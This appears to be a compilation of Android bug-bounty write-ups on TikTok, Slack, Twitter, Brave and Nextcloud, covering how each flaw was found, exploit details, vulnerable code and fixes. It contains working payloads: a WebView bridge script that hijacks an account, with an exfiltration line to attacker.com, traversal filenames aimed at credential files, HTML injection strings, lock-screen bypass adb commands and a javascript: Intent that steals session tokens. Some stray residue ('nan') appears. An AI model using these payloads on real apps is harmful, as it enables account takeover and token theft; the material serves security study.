- 恶意链接结构:
- 说明: 这里的
param1和param2是绕过服务器端过滤的关键参数,其具体值需通过逆向分析确定。
- 说明: 这里的
- 构造恶意深度链接: 攻击者构造一个特殊的深度链接URL,利用
- WebView加载恶意页面: 当用户点击此链接后,应用被唤醒,并被强制在
CrossPlatformActivity的WebView中加载攻击者控制的https://attacker.com/malicious.html页面。
- WebView加载恶意页面: 当用户点击此链接后,应用被唤醒,并被强制在
- JavaScript桥接接口利用: 恶意页面
malicious.html中包含JavaScript代码,该代码利用WebView中暴露的JavaScript桥接接口(例如,[redacted].bridge.*包下的方法)来执行敏感操作。- 关键代码片段(概念性):
// 假设桥接对象名为'TikTokBridge',且暴露了一个名为'makeAuthenticatedRequest'的方法 var bridge = window.TikTokBridge; // 构造JSON参数,调用应用内部方法执行认证请求 var payload = { "func": "makeAuthenticatedRequest", // 暴露的执行认证请求的方法名 "params": { "method": "POST", "url": "https://api.tiktok.com/v1/user/profile/update", // 目标TikTok API端点 "body": { "bio": "Account Hijacked by Attacker", // 恶意修改用户资料 "private_video_setting": "public" // 恶意公开私密视频 } } }; // 调用Java方法,执行攻击载荷 bridge.call(JSON.stringify(payload), function(response) { // 接收并处理API响应,例如将用户的认证信息发送给攻击者服务器 // var exfil_url = "https://attacker.com/exfil?data=" + encodeURIComponent(response); // new Image().src = exfil_url; });
- 关键代码片段(概念性):
- JavaScript桥接接口利用: 恶意页面
- 实现账户劫持: 通过调用暴露的、能够执行带认证的HTTP请求的方法,攻击者可以模拟用户在应用内执行任何操作,例如修改用户资料、发布视频、发送消息,甚至窃取用户的认证令牌(如Cookie或Header中的Token),从而实现“一键账户劫持”。(总字数:约380字)
易出现漏洞的代码模式
此类漏洞的根源在于Android应用中对外部输入(尤其是深度链接参数)的信任不足,以及WebView组件的安全配置不当。
易漏洞代码模式和配置:
- 深度链接重定向和参数未严格校验:
- 模式: 应用程序导出一个Activity来处理深度链接,但该Activity允许通过查询参数将用户重定向到另一个内部的、未导出的深度链接或组件,且未对重定向目标进行严格的白名单校验。
- 示例(Manifest配置): 导出的Activity中包含一个处理通用链接的
intent-filter,但其内部逻辑允许重定向。xml <activity android:name=".DeepLinkRedirectorActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="https" android:host="m.app.com" android:pathPrefix="/redirect" /> </intent-filter> </activity>
- 示例(Manifest配置): 导出的Activity中包含一个处理通用链接的
- 示例(Java/Kotlin代码): 在
DeepLinkRedirectorActivity中,直接使用getIntent().getDataString()获取URL,并将其作为参数传递给内部组件或WebView,缺乏对URL主机名和协议的严格白名单验证。
- 示例(Java/Kotlin代码): 在
- 深度链接重定向和参数未严格校验:
- WebView加载外部内容且未限制JavaScript桥接接口:
- 模式: WebView被用于加载外部或用户提供的URL,同时通过
addJavascriptInterface方法向WebView暴露了敏感的Java对象(即JavaScript桥接接口),这些对象包含可执行认证请求或访问敏感数据的方法。
- 模式: WebView被用于加载外部或用户提供的URL,同时通过
- 示例(Java/Kotlin代码):
// 错误做法:向WebView暴露了敏感的Java对象 WebView webView = findViewById(R.id.webview); webView.getSettings().setJavaScriptEnabled(true); // 暴露了一个包含敏感操作方法的Java对象 webView.addJavascriptInterface(new SensitiveBridge(context), "AndroidBridge"); // 错误做法:加载了来自外部参数的URL,且未进行严格的主机名白名单校验 String url = getIntent().getData().getQueryParameter("url"); if (url != null) { // 假设这里有一个不完善的过滤绕过 if (isUrlSafe(url)) { // 这里的isUrlSafe实现存在缺陷 webView.loadUrl(url); } }
- 示例(Java/Kotlin代码):
- 正确的防御模式:
- 仅在加载受信任的、应用内部的静态HTML或资源时才使用
addJavascriptInterface。
- 仅在加载受信任的、应用内部的静态HTML或资源时才使用
- 如果必须加载外部URL,则绝对不能暴露任何JavaScript桥接接口。
- 如果必须暴露接口,则暴露的Java方法必须使用
@JavascriptInterface注解(API 17+),并且该方法不应执行任何敏感操作,或对调用参数进行严格的权限和数据校验。
- 如果必须暴露接口,则暴露的Java方法必须使用
- 正确的防御模式:
- WebView加载外部内容且未限制JavaScript桥接接口:
- 服务器端URL过滤逻辑缺陷:
- 模式: 应用程序依赖服务器端检查来验证URL的安全性,但该检查可以通过在URL中添加非标准或冗余的查询参数来绕过,导致客户端加载了本应被阻止的URL。这通常是由于服务器端和客户端对URL解析逻辑不一致造成的。(总字数:约480字)
- 服务器端URL过滤逻辑缺陷:
Directory Traversal
案例:Slack for Android (报告: https://hackerone.com/reports/1378889)
挖掘手法
The vulnerability was discovered by intercepting the Slack Android app’s network traffic using Burp Suite. The researcher observed that the file upload functionality allowed for manipulation of the file path, which was not possible through the official Slack API. By crafting a malicious request with a directory traversal payload in the filename, the researcher was able to overwrite arbitrary files within the app’s data directory. The initial analysis focused on how the app handled file downloads and storage, leading to the discovery that the filename was not being properly sanitized. This allowed for the directory traversal attack. The researcher then targeted the ‘shared_prefs’ directory, a common location for storing sensitive data like authentication tokens in Android apps. By overwriting the file containing these tokens, the researcher could gain unauthorized access to the user’s Slack account.
技术细节
The exploit was executed by sending a POST request to the Slack API’s file upload endpoint, target.slack.com/api/upload. The filename parameter in this request was manipulated to include a directory traversal payload. The payload was crafted to navigate up the directory structure from the default download location to the shared_prefs folder, and then overwrite a specific XML file containing authentication tokens. An example of the malicious filename would be ../../shared_prefs/SLACK_CREDS.xml. The content of the uploaded file would then replace the original SLACK_CREDS.xml file, allowing the attacker to inject their own data or, in a real-world scenario, exfiltrate the tokens by having the user upload a file with the tokens to a server controlled by the attacker. The exploit was automated using a Python script with the requests library to facilitate the sending of the crafted POST request.
易出现漏洞的代码模式
The vulnerability is caused by a lack of input sanitization on file paths. When an application accepts a filename from an untrusted source, such as a server response or user input, and uses it directly in a file path without proper validation, it becomes vulnerable to directory traversal. The vulnerable code pattern is typically found in file download and saving functionalities. For example, in Java/Kotlin for Android, the following pseudo-code illustrates a vulnerable pattern:
String fileName = intent.getStringExtra("fileName"); // Unsanitized filename from an external source
File file = new File(context.getFilesDir(), fileName);
FileOutputStream fos = new FileOutputStream(file);
// ... code to write to the file ...In this example, if fileName is ../../shared_prefs/malicious_file.xml, the application will write a file outside of its intended directory. To prevent this, the filename should be sanitized to remove any path traversal characters (../). A secure implementation would extract only the base name of the file and ignore any directory information.
Fragment Injection
案例:Twitter Android App (报告: https://hackerone.com/reports/43988)
挖掘手法
该漏洞的挖掘手法是典型的针对Android组件安全的分析,特别是针对旧版Android系统中的PreferenceActivity的特性。
- 组件识别与清单分析: 攻击者首先通过反编译或静态分析目标应用(Twitter Android App)的
AndroidManifest.xml文件,识别出所有被设置为android:exported="true"的Activity组件。报告中明确指出com.twitter.android.WidgetSettingsActivity被导出(exported)。
- 组件识别与清单分析: 攻击者首先通过反编译或静态分析目标应用(Twitter Android App)的
- 继承关系确认: 确认该导出的
Activity是否继承自PreferenceActivity。在旧版本的Android系统中(API Level 19及以下),PreferenceActivity有一个特性,它允许通过Intent的额外数据(Extra)来指定要加载的Fragment。
- 继承关系确认: 确认该导出的
- 漏洞利用点定位: 发现
WidgetSettingsActivity继承自PreferenceActivity,且未对其加载的Fragment进行严格的白名单校验或权限控制。这意味着任何外部应用都可以构造一个恶意的Intent,通过特定的Extra字段来加载任意指定的Fragment。
- 漏洞利用点定位: 发现
- 构造恶意Intent(PoC): 攻击者构造一个显式
Intent,目标组件为com.twitter.android.WidgetSettingsActivity。关键在于设置Intent的Extra字段:android:show_fragment,其值为攻击者控制的、位于攻击应用内部或系统中的恶意Fragment的完整类名。报告中的PoC使用了com.samsung.android.sdk.pen.objectruntime.preload.VideoIntentFragment作为示例,但实际攻击中可以替换为攻击者自己应用中具有敏感操作权限的Fragment。
- 构造恶意Intent(PoC): 攻击者构造一个显式
- 攻击场景验证: 攻击者通过在自己的应用中调用
startActivity(i)来启动目标Activity,并加载恶意Fragment。报告中提到,这种攻击方式“Install an app, in the case of non-root can obtain private information”,表明攻击向量是通过安装恶意应用,利用该漏洞在非Root权限下获取Twitter应用内部的私有信息或执行敏感操作。
- 攻击场景验证: 攻击者通过在自己的应用中调用
这种挖掘思路的核心是利用Android框架组件的设计缺陷(PreferenceActivity的自动Fragment加载机制)与应用配置错误(不必要的组件导出),从而实现跨应用组件的攻击。整个过程不依赖于Root权限,只需要用户安装一个恶意应用即可完成攻击。该方法是Android应用安全审计中识别Fragment注入漏洞的经典流程。`,technical_details:
技术细节
nan
易出现漏洞的代码模式
该漏洞的根本原因在于Android框架的PreferenceActivity类在处理Intent中的:android:show_fragment Extra时,会尝试加载并实例化该Extra指定的Fragment类,而没有进行充分的权限或白名单校验。当一个应用组件(如Activity)被设置为可导出(android:exported="true")且继承自PreferenceActivity时,就容易受到Fragment注入攻击。
易受攻击的代码模式(AndroidManifest.xml):
<activity
android:name="com.twitter.android.WidgetSettingsActivity"
android:exported="true" <!-- 关键:允许外部应用启动 -->
android:label="@string/settings_label" >
<!-- ... 其他配置 ... -->
</activity>易受攻击的代码模式(Java/Kotlin):
// 继承自 PreferenceActivity,在旧版Android中默认支持通过Intent加载Fragment
public class WidgetSettingsActivity extends PreferenceActivity {
// 缺少对传入的 Fragment 类名进行校验的逻辑
// 例如,没有重写 isValidFragment(String fragmentName) 方法进行严格的白名单检查
// @Override
// protected boolean isValidFragment(String fragmentName) {
// // 应该只允许加载应用内部安全且非敏感的 Fragment
// return fragmentName.startsWith("com.twitter.android.settings.");
// }
}防范建议:
- 避免不必要的导出: 对于不需被外部应用启动的组件,应明确设置
android:exported="false"。
- 避免不必要的导出: 对于不需被外部应用启动的组件,应明确设置
- Fragment白名单校验: 如果必须导出
PreferenceActivity,则必须重写isValidFragment(String fragmentName)方法,实现严格的Fragment类名白名单校验,只允许加载应用内部安全且非敏感的Fragment。
- Fragment白名单校验: 如果必须导出
- 使用新API: 优先使用
AppCompatActivity和PreferenceFragmentCompat,它们不具备旧版PreferenceActivity的自动加载Fragment的特性,能有效避免此类问题。
- 使用新API: 优先使用
HTML注入(HTML Injection)
案例:Brave Browser (报告: https://hackerone.com/reports/176065)
挖掘手法
该漏洞的发现基于对Brave Android浏览器中“文章模式”(ArticleMode)功能的逆向工程和代码分析。
分析思路与关键发现点:
- 目标功能识别: 漏洞猎人将目标锁定在Brave浏览器Android版中的“文章模式”(BatterySaveArticleRenderer)功能。该功能旨在提供无干扰的阅读体验,通常涉及对网页内容的解析和重新渲染。
- 代码定位: 通过对应用代码的静态分析,漏洞猎人定位到了负责处理文章标题(
title)和作者名(authorName)的Java代码片段(位于com.linkbubble.articlerender.ArticleContent.java,尽管报告中提到的是aot类,但后续评论提供了更精确的GitHub链接)。
- 代码定位: 通过对应用代码的静态分析,漏洞猎人定位到了负责处理文章标题(
- 漏洞代码模式识别: 关键代码显示,程序在构建用于WebView渲染的HTML字符串时,直接将从外部获取的变量(如
s7,即title)拼接到了HTML结构中,而未进行任何HTML实体编码或净化。- 例如,在构建
<title>标签和<p>标签时,代码使用了s4 = (new StringBuilder()).append(s5).append("<title>").append(s7).append("</title>").toString();和s1 = (new StringBuilder()).append(s6).append("<p style=...").append(s7).append("</p>").toString();。
- 例如,在构建
- 漏洞代码模式识别: 关键代码显示,程序在构建用于WebView渲染的HTML字符串时,直接将从外部获取的变量(如
- 构造攻击向量: 既然
title变量未被净化,漏洞猎人构造了一个恶意的URL,该URL的标题(在浏览器中通常显示为页面的<title>内容)包含HTML注入代码,以闭合原有的HTML标签并注入新的标签。- 构造的Payload为:
</title><h1><marquee><s>Injection<!--。
- 构造的Payload为:
- 这个Payload的作用是:
</title>:闭合代码中拼接的<title>标签。
<h1><marquee><s>Injection:注入自定义的HTML内容,如<h1>标题和marquee滚动标签,以证明HTML注入成功。
<!--:注释掉后续代码中未闭合的HTML标签,防止页面结构被破坏。
- 这个Payload的作用是:
- 构造攻击向量: 既然
- 执行步骤:
- 首先,访问一个精心构造的页面(例如报告中提供的
https://blackfan.ru/brave),该页面通过JavaScript将浏览器重定向到一个带有恶意查询参数的Google搜索URL:https://www.google.com/search?q=</title><h1><marquee><s>Injection<!--。
- 首先,访问一个精心构造的页面(例如报告中提供的
- 当Brave浏览器加载这个URL时,它会尝试提取页面的标题。由于URL中的查询参数
q的值被程序错误地识别或用作文章标题,恶意HTML代码被注入到标题变量中。
- 当Brave浏览器加载这个URL时,它会尝试提取页面的标题。由于URL中的查询参数
- 最后,用户点击“文章模式”按钮,触发WebView渲染,执行注入的HTML代码,导致HTML注入漏洞的成功利用。
- 执行步骤:
工具: 静态代码分析工具(用于定位Java代码),以及一个能够设置页面标题并触发重定向的Web服务器或HTML文件。
技术细节
该漏洞利用的核心在于利用程序对文章标题(title)变量的不安全拼接,实现HTML注入。
1. 漏洞代码片段(Java):
漏洞存在于负责生成文章模式WebView内容的Java代码中。以下是报告中提供的关键代码逻辑(简化版,变量名已根据报告内容和GitHub链接进行推断):
// 变量s7代表从外部获取的文章标题(title)
if (s7 != null) {
// 不安全地将s7拼接进HTML字符串,用于<title>标签
s4 = (new StringBuilder()).append(s5).append("<title>").append(s7).append("</title>").toString();
// 不安全地将s7拼接进HTML字符串,用于<p>标签
s1 = (new StringBuilder()).append(s6).append("<p style=\"font-size:").append(s1).append(";line-height:120%;font-weight:bold;margin:").append(s3).append(" 0px 12px 0px\">").append(s7).append("</p>").toString();
}
// 类似地,作者名(authorName)也存在不安全拼接
// ...2. 攻击Payload:
攻击者构造的Payload旨在闭合程序预期的HTML标签,并注入自定义的HTML元素。
</title><h1><marquee><s>Injection<!--3. 攻击流程:
攻击者首先诱导用户访问一个特殊的URL,该URL的标题(或被浏览器逻辑错误地解析为标题的内容)包含上述Payload。报告中提供的PoC是:
<script>
location="https://www.google.com/search?q=</title><h1><marquee><s>Injection<!--"
</script>当Brave浏览器加载这个URL时,它会尝试提取页面的标题。如果浏览器逻辑将URL参数q的值(即</title><h1><marquee><s>Injection<!--)作为文章标题传入到上述Java代码中的s7变量,那么最终生成的HTML将包含:
...<title></title><h1><marquee><s>Injection<!--</title>...当这个HTML被WebView渲染时,<h1><marquee><s>Injection部分将被视为有效的HTML元素并执行,导致注入的HTML内容(如滚动文本)在文章模式界面中显示。
4. 漏洞类型:
虽然报告最终的“Weakness”字段标记为“Cross-site Scripting (XSS) – Generic”,但从技术细节来看,这更准确地属于HTML注入(HTML Injection),因为它注入的是HTML标签而非可执行的JavaScript脚本(尽管HTML注入常被视为XSS的一种形式)。由于注入的HTML在WebView中执行,且WebView可能具有某些特权,因此该漏洞被评为高危。
易出现漏洞的代码模式
此类漏洞的根本原因在于信任了来自外部的输入,并将其直接拼接(Concatenation)到HTML结构中,而没有进行适当的净化(Sanitization)或编码(Encoding)。
易出现此类漏洞的代码模式:
- 直接字符串拼接构建HTML:
当使用字符串拼接(如Java中的+操作符或StringBuilder)来动态生成HTML内容时,如果拼接的变量来自用户输入或外部数据源(如URL参数、API响应、数据库记录等),就极易引入HTML注入或XSS漏洞。 Java示例(来自报告):// 危险代码:直接将s7(title)拼接到HTML字符串中 String s7 = result.getTitle(); // 假设s7来自外部可控输入 if (s7 != null) { // 拼接用于<title>标签 headHtml += "<title>" + s7 + "</title>"; // 拼接用于<p>标签 bodyHtml += "<p style=\"...\">" + s7 + "</p>"; }
- 直接字符串拼接构建HTML:
- 缺少上下文敏感的输出编码:
在将外部数据插入到HTML的不同位置时,需要进行不同类型的编码。例如,插入到HTML标签内容中时,需要进行HTML实体编码。如果程序只是简单地将原始字符串插入,就会导致注入。 安全修复示例(概念):// 安全代码:在拼接前对s7进行HTML实体编码 String safeTitle = HtmlUtils.htmlEscape(s7); // 假设使用一个安全的编码函数 if (safeTitle != null) { headHtml += "<title>" + safeTitle + "</title>"; bodyHtml += "<p style=\"...\">" + safeTitle + "</p>"; }
- 缺少上下文敏感的输出编码:
总结: 任何将不可信数据(Untrusted Data)作为原始字符串直接插入到HTML文档结构中的编程模式,都是此类HTML注入/XSS漏洞的温床。在Android开发中,尤其是在处理WebView加载的内容时,必须对所有外部输入进行严格的净化和编码。
Intent Path Traversal (任意文件写入)
案例:Nextcloud Talk (报告: https://hackerone.com/reports/1416941)
挖掘手法
漏洞挖掘过程主要集中在对Nextcloud Talk Android应用中未受保护的Intent和文件路径处理逻辑的分析。
1. 目标识别与静态分析:
首先,研究人员会使用工具(如APKTool、JADX)对Nextcloud Talk的APK文件进行反编译,重点分析AndroidManifest.xml文件。目标是识别所有导出的(exported)组件(Activity、Service、Broadcast Receiver),特别是那些处理文件操作或接收外部数据的组件。
2. 关键代码点定位:
通过静态分析,研究人员会定位到负责处理文件写入操作的组件。在这个漏洞中,目标是处理文件分享或上传功能的组件,它接收一个文件路径作为Intent的额外数据(Extra)。研究人员会检查该组件处理文件路径的代码逻辑,寻找路径验证不足或缺失的情况。
3. 路径遍历漏洞发现:
在分析文件路径处理代码时,发现应用接收外部Intent传入的文件名或路径参数后,直接将其与应用的内部目录(如缓存目录)拼接,用于文件写入操作,但未对路径进行规范化或过滤。这意味着攻击者可以通过在路径中插入../(点点斜杠)序列,实现路径遍历(Path Traversal),从而将文件写入到应用沙箱内的任意位置,例如应用的根目录或私有文件目录。
4. 构造恶意Intent与PoC:
一旦确定了漏洞点,下一步是构造一个恶意的Intent来触发漏洞。这个Intent需要包含:
- Action: 触发目标组件的Action(例如,
android.intent.action.SEND或自定义Action)。
- Action: 触发目标组件的Action(例如,
- Component: 明确指定目标应用的包名(
com.nextcloud.talk2)和目标组件(Activity/Service)。
- Component: 明确指定目标应用的包名(
- Extra: 包含精心构造的路径遍历Payload,例如:
../../../../files/arbitrary_file.txt,以跳出预期的缓存目录,将文件写入到应用的私有文件目录。
- Extra: 包含精心构造的路径遍历Payload,例如:
5. 漏洞验证与影响评估:
最后,通过一个恶意的第三方应用(PoC App)发送构造好的Intent,并验证文件是否成功写入到目标位置。如果成功,则证明攻击者可以利用此漏洞,通过写入特定文件(如配置文件、缓存文件等)来破坏应用状态,甚至在某些情况下可能导致更严重的影响(如覆盖关键配置)。
这种挖掘手法是Android应用安全测试中的常见模式,即Intent注入与路径遍历的组合利用,常用于测试应用间通信的安全性。
技术细节
该漏洞是由于Nextcloud Talk Android应用中某个处理文件写入的组件,在接收外部Intent传入的文件路径时,未对路径进行充分的验证和规范化,导致攻击者可以通过构造路径遍历序列(../)将文件写入到应用沙箱内的任意位置。
1. 漏洞点:
漏洞存在于处理外部文件分享或上传的逻辑中。应用通常会从Intent中获取文件名或路径,并将其与应用的内部安全目录(如缓存目录)进行拼接。
2. 恶意Intent Payload示例(概念性):
攻击者需要构造一个Intent,通过一个恶意第三方应用发送给Nextcloud Talk应用。以下是一个概念性的Intent构造代码片段(使用Java/Kotlin):
// 目标应用包名和组件名(假设的,实际需反编译确定)
String TARGET_PACKAGE = "com.nextcloud.talk2";
String TARGET_ACTIVITY = "com.nextcloud.talk2.activities.SomeFileHandlingActivity"; // 假设的组件
// 构造路径遍历Payload
// 假设应用的缓存目录是 /data/data/com.nextcloud.talk2/cache/
// 攻击者需要跳出 'cache' 目录,然后进入 'files' 目录
String TRAVERSAL_PATH = "../files/malicious_config.txt";
Intent maliciousIntent = new Intent();
maliciousIntent.setComponent(new ComponentName(TARGET_PACKAGE, TARGET_ACTIVITY));
maliciousIntent.setAction(Intent.ACTION_SEND); // 或其他触发文件处理的Action
// 假设应用从名为 "file_path" 的Extra中获取路径
maliciousIntent.putExtra("file_path", TRAVERSAL_PATH);
maliciousIntent.putExtra("file_content", "Arbitrary content to write"); // 假设可以控制文件内容
// 发送Intent
context.startActivity(maliciousIntent);3. 攻击流程:
- 恶意应用在受害者设备上运行。
- 恶意应用构造包含路径遍历序列的Intent。
- 恶意应用向Nextcloud Talk应用发送此Intent。
- Nextcloud Talk应用接收Intent,并尝试将文件写入到拼接后的路径:
[应用内部目录]/[Intent传入的路径]
例如:/data/data/com.nextcloud.talk2/cache/../files/malicious_config.txt
- Nextcloud Talk应用接收Intent,并尝试将文件写入到拼接后的路径:
- 由于路径遍历序列
../的作用,最终文件被写入到应用沙箱内的/data/data/com.nextcloud.talk2/files/malicious_config.txt,即应用私有文件目录下的任意文件,从而实现任意文件写入。
- 由于路径遍历序列
4. 潜在危害:
通过写入或覆盖应用沙箱内的关键文件(如配置、缓存、数据库文件等),攻击者可以破坏应用功能、导致拒绝服务,甚至在特定条件下可能实现更高级的攻击,例如覆盖应用的配置以窃取信息或修改应用行为。
易出现漏洞的代码模式
此类漏洞的根本原因在于Android应用中导出的组件(Exported Components)接收外部Intent时,对Intent中包含的文件路径参数缺乏严格的输入验证和规范化处理。
1. 易漏洞代码模式:
当应用代码从Intent中获取一个字符串作为文件名或路径,并将其直接或间接用于文件操作(如File.createNewFile()、FileOutputStream)时,且未对路径中的../或绝对路径进行过滤或规范化,就容易出现路径遍历漏洞。
// 易受攻击的Java/Kotlin代码模式(概念性示例)
// 假设这是一个导出的Activity或Service中的代码片段
String fileName = getIntent().getStringExtra("filename"); // 从外部Intent获取文件名
File cacheDir = getCacheDir(); // 获取应用的缓存目录,例如 /data/data/pkg/cache
// 缺乏路径验证,直接拼接
File targetFile = new File(cacheDir, fileName);
try {
// 尝试写入文件
FileOutputStream fos = new FileOutputStream(targetFile);
// ... 写入内容
fos.close();
} catch (IOException e) {
// ...
}2. 修复后的代码模式(规范化和过滤):
正确的做法是使用File.getCanonicalPath()或File.getCanonicalFile()来获取文件的规范路径,并检查该规范路径是否仍然位于预期的安全目录下。
// 修复后的Java/Kotlin代码模式(概念性示例)
String fileName = getIntent().getStringExtra("filename");
File safeDir = getFilesDir(); // 预期的安全目录
File targetFile = new File(safeDir, fileName);
try {
// 关键步骤:获取规范路径
String canonicalPath = targetFile.getCanonicalPath();
String canonicalSafeDir = safeDir.getCanonicalPath();
// 检查规范路径是否以安全目录的规范路径开头
if (!canonicalPath.startsWith(canonicalSafeDir)) {
// 路径遍历尝试,拒绝操作
Log.e(TAG, "Path Traversal attempt detected: " + canonicalPath);
return;
}
// 路径安全,执行文件写入操作
FileOutputStream fos = new FileOutputStream(targetFile);
// ... 写入内容
fos.close();
} catch (IOException e) {
// ...
}3. 配置模式:
漏洞的另一个关键点是组件的导出配置。在AndroidManifest.xml中,如果一个处理敏感操作的组件被设置为android:exported="true",则任何第三方应用都可以向其发送Intent,从而触发漏洞。
<!-- 易受攻击的配置模式:Activity被导出,且处理文件操作 -->
<activity
android:name=".activities.SomeFileHandlingActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>修复时,应尽可能将不需要被外部应用访问的组件设置为android:exported="false",或使用权限限制外部访问。
Intent Scheme认证绕过
案例:Nextcloud (报告: https://hackerone.com/reports/490946)
挖掘手法
该漏洞的发现基于对Nextcloud Android客户端多账户管理和锁屏保护机制的分析。研究人员发现应用支持多账户功能,但其安全机制(即锁屏保护)是单一的,且依赖于应用的主流程。
挖掘思路与关键发现点:
- 功能分析: 确认Nextcloud Android客户端支持多账户,并提供了应用级的锁屏保护功能。
- Intent Scheme暴露: 通过逆向工程或Manifest文件分析,发现应用暴露了一个用于处理登录/账户添加流程的Deep Link/Intent Scheme,即
nc://login。
- Intent Scheme暴露: 通过逆向工程或Manifest文件分析,发现应用暴露了一个用于处理登录/账户添加流程的Deep Link/Intent Scheme,即
- 安全状态绕过: 假设应用在处理外部Intent时,可能未正确检查其内部的安全状态(即锁屏是否激活)。
- PoC构建: 构建一个恶意的Intent,利用暴露的
nc://loginScheme,尝试通过外部调用来触发应用内部的账户处理逻辑。- 使用
adb shell am start命令模拟外部应用发送Intent。
- 使用
- Intent的Action设置为
android.intent.action.VIEW。
- Intent的Action设置为
- Intent的Data URI设置为
nc://login/server:MY_SERVER\&user:ME\&password:PWD,模拟一个登录或添加账户的请求。
- Intent的Data URI设置为
- 为了确保Intent被正确处理且不崩溃,添加了额外的字符串参数
--es "ACCOUNT" "not_valid"。
- 为了确保Intent被正确处理且不崩溃,添加了额外的字符串参数
- PoC构建: 构建一个恶意的Intent,利用暴露的
漏洞验证步骤:
- 在Nextcloud应用中启用锁屏保护,并使其处于锁屏状态。
- 执行构造好的ADB命令(或通过恶意应用触发相同的Intent)。
- 观察到应用被唤醒,并进入了账户添加或处理的界面,从而成功绕过了锁屏保护,允许攻击者检查或操作应用中已有的其他账户。
总结: 核心挖掘手法是识别并利用了应用中未受保护的Deep Link/Intent Scheme,通过外部Intent调用绕过了应用内部的不当认证/锁屏检查。该过程无需Root权限,仅需通过ADB或另一个应用即可实现。
技术细节
该漏洞利用了Nextcloud Android客户端中暴露的Intent Scheme,通过外部Intent调用绕过了应用级的锁屏保护。
核心利用命令(Payload):
攻击者使用ADB shell(或通过一个恶意应用)发送一个特定的Intent来触发漏洞。
adb shell am start -a android.intent.action.VIEW -d "nc://login/server:MY_SERVER\&user:ME\&password:PWD --es "ACCOUNT" "not_valid"命令解析:
am start: Android Activity Manager命令,用于启动一个Activity。
-a android.intent.action.VIEW: 指定Intent的Action为VIEW。
-d "nc://login/...": 指定Intent的Data URI,利用了Nextcloud应用暴露的nc://loginDeep Link。URI中包含了模拟的服务器、用户和密码信息。
--es "ACCOUNT" "not_valid": 额外的字符串参数,用于满足应用内部处理Intent时的某些条件,防止应用崩溃,确保流程继续执行到绕过锁屏的逻辑。
技术细节分析:
报告中提到了应用内部处理Intent的关键代码片段,位于AuthenticatorActivity.java:303:
mAccount = getIntent().getExtras().getParcelable(EXTRA_ACCOUNT);这表明:
AuthenticatorActivity被配置为处理nc://loginIntent。
- 该Activity在
onCreate或相关生命周期方法中,直接通过getIntent()获取外部Intent,并尝试解析账户信息。
- 该Activity在
- 漏洞点在于:在处理这个外部触发的账户添加/登录Intent时,应用没有执行锁屏状态检查。一旦Intent被处理,应用的主界面或账户管理界面就会被拉起,从而绕过了用户预设的锁屏保护。
易出现漏洞的代码模式
此类漏洞的根本原因在于Android应用组件(通常是Activity)被配置为处理外部Intent(如Deep Link或自定义Scheme),但在处理这些外部请求时,未能充分验证Intent的来源或数据,并且未检查应用当前的安全状态(例如,是否处于锁屏保护)。
易漏洞代码模式总结:
- Manifest文件中的Intent Filter配置:
Activity被配置了android.intent.category.BROWSABLE或自定义Scheme,使其可以被外部应用或浏览器直接调用。<!-- 易受攻击的Manifest配置示例 --> <activity android:name=".authenticator.AuthenticatorActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <!-- 允许从浏览器调用 --> <data android:scheme="nc" android:host="login" /> <!-- 暴露的自定义Scheme --> </intent-filter> </activity>
- Manifest文件中的Intent Filter配置:
- Activity代码中缺少安全状态检查:
在处理外部Intent的Activity(如AuthenticatorActivity)的onCreate或onNewIntent方法中,直接执行敏感操作(如账户添加、数据展示、功能跳转),而没有在执行操作前检查应用是否处于安全状态(例如,是否已解锁、是否已通过PIN/指纹验证)。// 易受攻击的Java代码模式(简化示例) @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // ... Intent intent = getIntent(); if (Intent.ACTION_VIEW.equals(intent.getAction())) { Uri data = intent.getData(); if (data != null && "nc".equals(data.getScheme()) && "login".equals(data.getHost())) { // !!! 缺少关键的锁屏/认证检查逻辑 !!! // if (!isAppLocked()) { // // 只有在未锁定时才执行以下逻辑 // } // 直接从Intent中获取敏感数据并执行操作 mAccount = intent.getExtras().getParcelable(EXTRA_ACCOUNT); // 报告中提到的代码 // ... 执行账户添加或跳转到主界面的逻辑 } }}
- Activity代码中缺少安全状态检查:
安全建议:
在处理任何可能绕过应用主安全流程的外部Intent时,必须在执行敏感操作前,通过调用应用内部的安全API(如检查锁屏状态、要求用户重新认证)来验证用户的身份和应用的安全状态。
Intent URI注入与未授权访问
案例:Twitter lite(Android) (报告: https://hackerone.com/reports/499348)
挖掘手法
漏洞挖掘始于对应用清单文件(AndroidManifest.xml)的静态分析,发现com.twitter.android.lite.TwitterLiteActivity被设置为exported=true,允许外部应用调用。随后,研究人员推断该Activity可能未对传入的Intent数据URI进行充分校验。利用Android调试桥(ADB)工具进行动态测试,通过adb shell am start命令构造并发送包含恶意URI的Intent。首先测试了file://协议,成功访问了本地文件,证明了本地文件窃取的可能性。接着测试了javascript://协议,成功执行了任意JavaScript代码,证实了UXSS(通用跨站脚本)漏洞的存在。进一步的挖掘集中在应用内部的JavaScript接口。通过注入JavaScript代码,利用Object.getOwnPropertyNames(window)枚举了WebView中的全局对象,发现了关键的apkInterface对象。随后,通过Object.getOwnPropertyNames(window.apkInterface)枚举了该接口的方法,并成功调用了getApkPushParams()和getNymizerParams()等方法,从而窃取了用户的会话Token和设备信息,完成了从Intent注入到敏感信息窃取的完整攻击链。
技术细节
攻击利用了com.twitter.android.lite.TwitterLiteActivity未对Intent数据URI进行校验的缺陷。攻击者可以通过恶意应用或ADB命令构造特制Intent来触发漏洞。
* JavaScript注入Payload (ADB):bash adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "javascript://example.com%0A alert(1);"
* 通过恶意应用窃取Token (Java Intent):java Intent intent = new Intent(); intent.setClassName("com.twitter.android.lite", "com.twitter.android.lite.TwitterLiteActivity"); // 注入JavaScript调用apkInterface.getApkPushParams()窃取Token intent.setData(Uri.parse("javascript://google.com%0Ajavascript:document.write(apkInterface.getApkPushParams());")); startActivity(intent);
* 窃取Token的JavaScript Payload:javascript javascript://google.com%0Ajavascript:document.write(apkInterface.getApkPushParams())
易出现漏洞的代码模式
